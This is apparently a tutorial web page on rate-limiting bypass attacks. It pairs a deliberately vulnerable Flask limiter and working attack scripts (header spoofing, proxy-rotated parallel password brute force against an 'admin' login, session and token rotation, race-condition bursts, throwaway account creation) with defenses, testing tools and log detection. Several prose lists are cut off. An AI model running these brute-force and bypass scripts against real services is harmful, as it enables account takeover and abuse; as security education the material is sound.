Complete guide to understanding, exploiting, and preventing rate limiting bypass attacks
Rate Limiting Bypass is a technique attackers use to circumvent restrictions on the number of requests a user can make to an application within a given time period. When rate limiting controls are improperly implemented or can be evaded, attackers can:
Rate limiting bypass enables some of the most damaging attack vectors in modern applications. It's critical because:
Rate limiting is typically implemented based on request identifiers such as IP addresses, user sessions, or API keys. Vulnerable implementations fail when:
# VULNERABLE CODE - IP-only rate limiting
from flask import request
from functools import wraps
import time
request_counts = {}
def rate_limit(max_requests=5, window=60):
def decorator(f):
@wraps(f)
def wrapped(*args, **kwargs):
# Only checks IP - DANGEROUS!
ip = request.remote_addr
current_time = time.time()
if ip not in request_counts:
request_counts[ip] = []
# Remove old requests outside window
request_counts[ip] = [t for t in request_counts[ip] if current_time - t < window]
if len(request_counts[ip]) >= max_requests:
return "Rate limit exceeded", 429
request_counts[ip].append(current_time)
return f(*args, **kwargs)
return wrapped
return decorator
Attackers exploit weaknesses in identifier tracking to appear as different users:
# Attack Method 1: X-Forwarded-For Header Manipulation
curl -H "X-Forwarded-For: 1.2.3.4" http://api.example.com/login
curl -H "X-Forwarded-For: 1.2.3.5" http://api.example.com/login
curl -H "X-Forwarded-For: 1.2.3.6" http://api.example.com/login
# Each request appears to come from different IP!
# Attack Method 2: Session Token Rotation
for i in range(10000):
# Get new session for each request
session = requests.Session()
session.post('http://example.com/login', data={'user': 'admin', 'pass': f'attempt{i}'})
# Attack Method 3: User-Agent Rotation
user_agents = ['Mozilla/5.0...', 'Chrome/...', 'Safari/...']
for ua in user_agents:
requests.post('http://example.com/api', headers={'User-Agent': ua})
Exploiting trust in HTTP headers that identify client origin:
X-Forwarded-For: 10.0.0.1, 192.168.1.1, 8.8.8.8
X-Real-IP: 1.1.1.1
X-Originating-IP: 203.0.113.0
X-Client-IP: 198.51.100.1
Creating new identities to reset rate limit counters:
Distributing requests across multiple source addresses:
# Using multiple IP addresses from botnet or cloud infrastructure
import requests
from concurrent.futures import ThreadPoolExecutor
proxy_list = [
'http://proxy1.example.com:8080',
'http://proxy2.example.com:8080',
'http://proxy3.example.com:8080',
# ... hundreds more
]
def attack_with_proxy(proxy, password):
try:
response = requests.post(
'http://target.com/login',
data={'username': 'admin', 'password': password},
proxies={'http': proxy, 'https': proxy},
timeout=5
)
if response.status_code == 200:
print(f"[SUCCESS] Password found: {password}")
return True
except:
pass
return False
# Parallel brute force across many IPs
with ThreadPoolExecutor(max_workers=100) as executor:
passwords = open('passwords.txt').readlines()
for i, password in enumerate(passwords):
proxy = proxy_list[i % len(proxy_list)]
executor.submit(attack_with_proxy, proxy, password.strip())
# Rotating multiple headers to evade fingerprinting
import random
def generate_fake_identity():
return {
'X-Forwarded-For': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
'User-Agent': random.choice([
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15',
'Mozilla/5.0 (X11; Linux x86_64) Firefox/121.0'
]),
'Accept-Language': random.choice(['en-US', 'en-GB', 'fr-FR', 'de-DE']),
'X-Client-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
}
for attempt in range(10000):
headers = generate_fake_identity()
response = requests.post('http://api.example.com/endpoint', headers=headers, data=payload)
Sending multiple requests simultaneously before rate limit counter updates:
# Parallel request burst to exploit race conditions
import asyncio
import aiohttp
async def burst_attack(session, url, data):
async with session.post(url, data=data) as response:
return await response.text()
async def main():
url = 'http://example.com/api/vote'
data = {'item_id': '12345', 'vote': 'up'}
# Send 1000 requests simultaneously
async with aiohttp.ClientSession() as session:
tasks = [burst_attack(session, url, data) for _ in range(1000)]
results = await asyncio.gather(*tasks)
print(f"Successful votes: {len([r for r in results if 'success' in r])}")
asyncio.run(main())
# Exploiting case sensitivity or parameter variations
curl -X POST http://api.example.com/login -d "username=admin"
curl -X POST http://api.example.com/login -d "USERNAME=admin"
curl -X POST http://api.example.com/login -d "UserName=admin"
curl -X POST http://api.example.com/login -d "user_name=admin"
# Using different encodings
curl -X POST http://api.example.com/login -d "username=admin"
curl -X POST http://api.example.com/login -d "username%00=admin" # Null byte
curl -X POST http://api.example.com/login -d "username%20=admin" # Space
# Slow down requests to stay just under detection threshold
import time
def slow_brute_force(url, usernames, passwords):
for username in usernames:
for password in passwords:
# Request every 15 seconds (if limit is 5/minute = 12 seconds)
response = requests.post(url, data={'user': username, 'pass': password})
if response.status_code == 200:
print(f"Found: {username}:{password}")
return
time.sleep(15) # Stay under the radar
# Accessing same endpoint via different paths
curl http://api.example.com/v1/login
curl http://api.example.com/v1/login/
curl http://api.example.com/v1//login
curl http://api.example.com/v1/./login
curl http://api.example.com/v1/login/.
curl http://api.example.com/V1/LOGIN # Case variation if not normalized
# IPv6 provides massive address space
# 2001:0db8:85a3::8a2e:0370:7334
# Each /64 subnet has 18 quintillion addresses!
# Rotating through IPv6 addresses
for i in range(1000):
ipv6_addr = f"2001:db8::{i:04x}:1"
# Make request from different IPv6 address
# Leverage cloud services to get new IPs
# AWS, Azure, GCP provide easy instance creation
import boto3
ec2 = boto3.client('ec2')
# Spin up multiple instances across regions
for region in ['us-east-1', 'us-west-2', 'eu-west-1']:
response = ec2.run_instances(
ImageId='ami-xxxxx',
MinCount=10,
MaxCount=10,
InstanceType='t2.micro'
)
# Each instance gets unique public IP
Many legitimate users share same public IP behind CGNAT, making IP-based blocking problematic:
# Simply don't send cookies or clear them between requests
session = requests.Session()
session.cookies.clear() # Reset tracking
# Or use new session each time
for i in range(1000):
fresh_session = requests.Session()
fresh_session.post('http://example.com/api', data=payload)
# Using Selenium to automate session resets
from selenium import webdriver
for password in password_list:
# New browser instance = new session
driver = webdriver.Chrome()
driver.get('http://example.com/login')
driver.find_element_by_id('username').send_keys('admin')
driver.find_element_by_id('password').send_keys(password)
driver.find_element_by_id('submit').click()
# Check result
if 'Welcome' in driver.page_source:
print(f"Password found: {password}")
break
driver.quit() # Clean session
# If tokens can be refreshed without limit
def get_fresh_token():
response = requests.post('http://api.example.com/refresh-token')
return response.json()['token']
for i in range(10000):
token = get_fresh_token() # New rate limit counter
headers = {'Authorization': f'Bearer {token}'}
requests.get('http://api.example.com/data', headers=headers)
# Create throwaway accounts to get new API keys
import random
import string
def random_email():
name = ''.join(random.choices(string.ascii_lowercase, k=10))
return f"{name}@tempmail.com"
for i in range(100):
email = random_email()
# Register new account
response = requests.post('http://api.example.com/register',
data={'email': email, 'password': 'Password123'})
api_key = response.json()['api_key']
# Use new API key for requests (fresh rate limit)
# Make requests with this key...
✅ THE PRIMARY DEFENSE
# Combine multiple identifiers for robust rate limiting
from flask import request
import hashlib
import time
class RobustRateLimiter:
def __init__(self):
self.request_tracking = {}
def get_client_fingerprint(self, request):
# Combine multiple factors
factors = [
# IP (but validate it's not spoofed)
self.get_real_ip(request),
# User agent
request.headers.get('User-Agent', ''),
# Session ID (if authenticated)
request.cookies.get('session_id', ''),
# Account ID (if logged in)
getattr(request, 'user_id', 'anonymous'),
# Accept-Language header
request.headers.get('Accept-Language', '')
]
# Create composite fingerprint
fingerprint = hashlib.sha256('|'.join(factors).encode()).hexdigest()
return fingerprint
def get_real_ip(self, request):
# Don't blindly trust X-Forwarded-For!
# Only trust if behind known proxy
if self.is_trusted_proxy(request.remote_addr):
forwarded = request.headers.get('X-Forwarded-For')
if forwarded:
return forwarded.split(',')[0].strip()
return request.remote_addr
def is_trusted_proxy(self, ip):
# Whitelist of known proxies (Cloudflare, load balancer, etc.)
trusted_proxies = ['10.0.0.1', '172.16.0.1'] # Example
return ip in trusted_proxies
def is_rate_limited(self, request, max_requests=10, window=60):
fingerprint = self.get_client_fingerprint(request)
current_time = time.time()
if fingerprint not in self.request_tracking:
self.request_tracking[fingerprint] = []
# Clean old requests
self.request_tracking[fingerprint] = [
t for t in self.request_tracking[fingerprint]
if current_time - t < window
]
# Check limit
if len(self.request_tracking[fingerprint]) >= max_requests:
return True
self.request_tracking[fingerprint].append(current_time)
return False
# Dynamic rate limits based on behavior
class AdaptiveRateLimiter:
def __init__(self):
self.user_reputation = {}
def get_rate_limit(self, user_id):
reputation = self.user_reputation.get(user_id, 50)
# High reputation = higher limits
if reputation > 80:
return 1000 # requests per hour
elif reputation > 50:
return 100
else:
return 10 # Suspicious users get strict limits
def update_reputation(self, user_id, action):
if action == 'success':
self.user_reputation[user_id] = min(100, self.user_reputation.get(user_id, 50) + 1)
elif action == 'suspicious':
self.user_reputation[user_id] = max(0, self.user_reputation.get(user_id, 50) - 10)
# Require CAPTCHA after suspicious activity
from flask import request, render_template
import requests
def check_captcha(response_token):
# Verify with Google reCAPTCHA
verify_url = 'https://www.google.com/recaptcha/api/siteverify'
data = {
'secret': 'YOUR_SECRET_KEY',
'response': response_token,
'remoteip': request.remote_addr
}
response = requests.post(verify_url, data=data)
return response.json()['success']
@app.route('/login', methods=['POST'])
def login():
# Check if user has failed login attempts
failed_attempts = get_failed_attempts(request.remote_addr)
if failed_attempts >= 3:
# Require CAPTCHA
if not request.form.get('g-recaptcha-response'):
return render_template('login.html', show_captcha=True)
if not check_captcha(request.form['g-recaptcha-response']):
return "CAPTCHA verification failed", 403
# Process login...
# Client must solve computational puzzle
import hashlib
import time
def generate_challenge(difficulty=4):
"""Generate a challenge that requires work to solve"""
nonce = hashlib.sha256(str(time.time()).encode()).hexdigest()
return nonce, difficulty
def verify_proof_of_work(challenge, answer, difficulty):
"""Verify client solved the puzzle"""
result = hashlib.sha256(f"{challenge}{answer}".encode()).hexdigest()
return result.startswith('0' * difficulty)
@app.route('/api/data')
def get_data():
# Require proof of work for API access
challenge = request.headers.get('X-Challenge')
answer = request.headers.get('X-Answer')
if not verify_proof_of_work(challenge, answer, difficulty=4):
# Send new challenge
new_challenge, diff = generate_challenge()
return {'error': 'Invalid proof of work', 'challenge': new_challenge}, 403
# Return data if PoW valid
return jsonify(data)
Configure WAF to detect and block rate limit bypass attempts:
# Nginx rate limiting configuration
http {
# Define rate limit zones
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
limit_req_zone $http_authorization zone=api:10m rate=100r/m;
# Combine IP and User-Agent for fingerprinting
map $remote_addr$http_user_agent $rate_limit_key {
default $binary_remote_addr;
}
limit_req_zone $rate_limit_key zone=combined:10m rate=50r/m;
server {
location /login {
# Strict rate limiting on login
limit_req zone=login burst=2 nodelay;
limit_req_status 429;
}
location /api/ {
# More lenient for API with burst
limit_req zone=api burst=20;
}
}
}
# Implement token bucket for smooth rate limiting
import time
class TokenBucket:
def __init__(self, capacity, refill_rate):
self.capacity = capacity
self.tokens = capacity
self.refill_rate = refill_rate # tokens per second
self.last_refill = time.time()
def refill(self):
now = time.time()
elapsed = now - self.last_refill
tokens_to_add = elapsed * self.refill_rate
self.tokens = min(self.capacity, self.tokens + tokens_to_add)
self.last_refill = now
def consume(self, tokens=1):
self.refill()
if self.tokens >= tokens:
self.tokens -= tokens
return True
return False
# Usage
bucket = TokenBucket(capacity=100, refill_rate=10) # 10 tokens/sec
@app.route('/api/endpoint')
def endpoint():
if not bucket.consume():
return "Rate limit exceeded", 429
return jsonify({"data": "success"})
# Scale rate limiting across multiple servers
import redis
import time
redis_client = redis.Redis(host='localhost', port=6379, db=0)
def rate_limit_check(key, max_requests=10, window=60):
current_time = int(time.time())
window_key = f"rate_limit:{key}:{current_time // window}"
# Increment counter
count = redis_client.incr(window_key)
# Set expiry on first request
if count == 1:
redis_client.expire(window_key, window)
return count <= max_requests
@app.route('/api/data')
def get_data():
client_key = get_client_fingerprint(request)
if not rate_limit_check(client_key):
return "Rate limit exceeded", 429
return jsonify(data)
# Temporary account lockout after failed attempts
from datetime import datetime, timedelta
class AccountLockout:
def __init__(self):
self.failed_attempts = {}
self.lockouts = {}
def record_failed_attempt(self, username):
if username not in self.failed_attempts:
self.failed_attempts[username] = 0
self.failed_attempts[username] += 1
# Lock account after 5 failed attempts
if self.failed_attempts[username] >= 5:
self.lockouts[username] = datetime.now() + timedelta(minutes=30)
return True # Account locked
return False
def is_locked(self, username):
if username in self.lockouts:
if datetime.now() < self.lockouts[username]:
return True
else:
# Lockout expired
del self.lockouts[username]
self.failed_attempts[username] = 0
return False
def reset_attempts(self, username):
self.failed_attempts[username] = 0
# Test if rate limiting exists
for i in {1..100}; do
curl -s -o /dev/null -w "%{http_code}\n" http://example.com/api/endpoint
done
# Look for 429 (Too Many Requests) responses
# If all return 200, rate limiting may be absent
# Test X-Forwarded-For bypass
for i in {1..20}; do
curl -H "X-Forwarded-For: 192.168.1.$i" http://example.com/login \
-d "username=admin&password=test$i"
done
# If all succeed, header may be trusted without validation
# Test other headers
curl -H "X-Real-IP: 1.2.3.4" http://example.com/api
curl -H "X-Originating-IP: 1.2.3.4" http://example.com/api
curl -H "X-Client-IP: 1.2.3.4" http://example.com/api
# Test if session reset bypasses rate limiting
import requests
url = 'http://example.com/api/vote'
# Method 1: New session each request
for i in range(50):
session = requests.Session()
response = session.post(url, data={'vote': 'up'})
print(f"Attempt {i}: {response.status_code}")
# Method 2: Cookie deletion
session = requests.Session()
for i in range(50):
session.cookies.clear()
response = session.post(url, data={'vote': 'up'})
print(f"Attempt {i}: {response.status_code}")
# Send simultaneous requests to test for race conditions
import asyncio
import aiohttp
async def send_request(session, url):
async with session.post(url, data={'action': 'vote'}) as response:
return response.status
async def race_condition_test():
url = 'http://example.com/api/vote'
async with aiohttp.ClientSession() as session:
# Send 50 requests simultaneously
tasks = [send_request(session, url) for _ in range(50)]
results = await asyncio.gather(*tasks)
success_count = sum(1 for r in results if r == 200)
print(f"Successful requests: {success_count}/50")
asyncio.run(race_condition_test())
Configure Burp to test rate limiting:
# Burp Intruder payload example
POST /login HTTP/1.1
Host: example.com
X-Forwarded-For: §192.168.1.1§
Content-Type: application/x-www-form-urlencoded
username=admin&password=§password§
# Comprehensive rate limit bypass tester
import requests
import time
from concurrent.futures import ThreadPoolExecutor
class RateLimitTester:
def __init__(self, url):
self.url = url
self.results = []
def test_basic_rate_limit(self, num_requests=100):
"""Test if basic rate limiting exists"""
print("[*] Testing basic rate limiting...")
success = 0
for i in range(num_requests):
response = requests.post(self.url, data={'test': i})
if response.status_code == 200:
success += 1
print(f"[+] {success}/{num_requests} requests succeeded")
return success == num_requests # True if no rate limit
def test_ip_header_bypass(self):
"""Test X-Forwarded-For bypass"""
print("[*] Testing IP header manipulation...")
headers_to_test = [
'X-Forwarded-For',
'X-Real-IP',
'X-Originating-IP',
'X-Client-IP'
]
for header in headers_to_test:
success = 0
for i in range(20):
headers = {header: f'192.168.{i}.1'}
response = requests.post(self.url, headers=headers, data={'test': i})
if response.status_code == 200:
success += 1
print(f"[+] {header}: {success}/20 succeeded")
if success > 10:
print(f"[!] Potential bypass via {header}")
def test_session_reset_bypass(self):
"""Test session reset bypass"""
print("[*] Testing session reset bypass...")
success = 0
for i in range(30):
session = requests.Session()
response = session.post(self.url, data={'test': i})
if response.status_code == 200:
success += 1
print(f"[+] {success}/30 requests succeeded with session reset")
def test_race_condition(self):
"""Test for race conditions"""
print("[*] Testing race condition...")
def make_request(i):
response = requests.post(self.url, data={'test': i})
return response.status_code == 200
with ThreadPoolExecutor(max_workers=50) as executor:
results = list(executor.map(make_request, range(50)))
success = sum(results)
print(f"[+] {success}/50 parallel requests succeeded")
if success > 10:
print("[!] Potential race condition vulnerability")
def run_all_tests(self):
"""Run all rate limit bypass tests"""
self.test_basic_rate_limit()
self.test_ip_header_bypass()
self.test_session_reset_bypass()
self.test_race_condition()
# Usage
tester = RateLimitTester('http://example.com/api/endpoint')
tester.run_all_tests()
Use ZAP's active scanner:
# Detect suspicious patterns in logs
# High request volume from single IP
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -10
# Rapid header rotation (suspicious)
grep "X-Forwarded-For" access.log | awk '{print $NF}' | sort | uniq -c | sort -rn
# Failed login attempts
grep "POST /login" access.log | grep "401\|403" | wc -l
# Real-time anomaly detection
import statistics
class AnomalyDetector:
def __init__(self):
self.request_rates = {}
def record_request(self, client_id):
if client_id not in self.request_rates:
self.request_rates[client_id] = []
self.request_rates[client_id].append(time.time())
# Keep only last hour
cutoff = time.time() - 3600
self.request_rates[client_id] = [
t for t in self.request_rates[client_id] if t > cutoff
]
def is_anomalous(self, client_id, threshold=3):
if client_id not in self.request_rates:
return False
# Calculate request rate
rate = len(self.request_rates[client_id])
# Get average rate across all clients
all_rates = [len(v) for v in self.request_rates.values()]
avg_rate = statistics.mean(all_rates)
std_dev = statistics.stdev(all_rates) if len(all_rates) > 1 else 0
# Flag if more than N standard deviations above average
if rate > avg_rate + (threshold * std_dev):
return True
return False
# Header manipulation
curl -H "X-Forwarded-For: 1.2.3.4" http://api.example.com/endpoint
curl -H "X-Real-IP: 1.2.3.4" http://api.example.com/endpoint
curl -H "X-Originating-IP: 1.2.3.4" http://api.example.com/endpoint
curl -H "X-Client-IP: 1.2.3.4" http://api.example.com/endpoint
# User-Agent rotation
for ua in "Mozilla/5.0" "Chrome/120.0" "Safari/605.1"; do
curl -A "$ua" http://example.com/api
done
# Session reset
for i in {1..100}; do
curl -c /dev/null -b /dev/null http://example.com/api
done
# Path variations
curl http://api.example.com/v1/login
curl http://api.example.com/v1/login/
curl http://api.example.com/v1//login
curl http://api.example.com/v1/./login
# IPv6 rotation
curl -6 --interface 2001:db8::1 http://example.com/api
curl -6 --interface 2001:db8::2 http://example.com/api
429 Too Many Requests - Standard rate limit exceeded response503 Service Unavailable - Sometimes used instead of 429Retry-After header - Indicates when client can retryX-RateLimit-Limit - Total requests allowedX-RateLimit-Remaining - Requests remaining in windowX-RateLimit-Reset - Timestamp when limit resets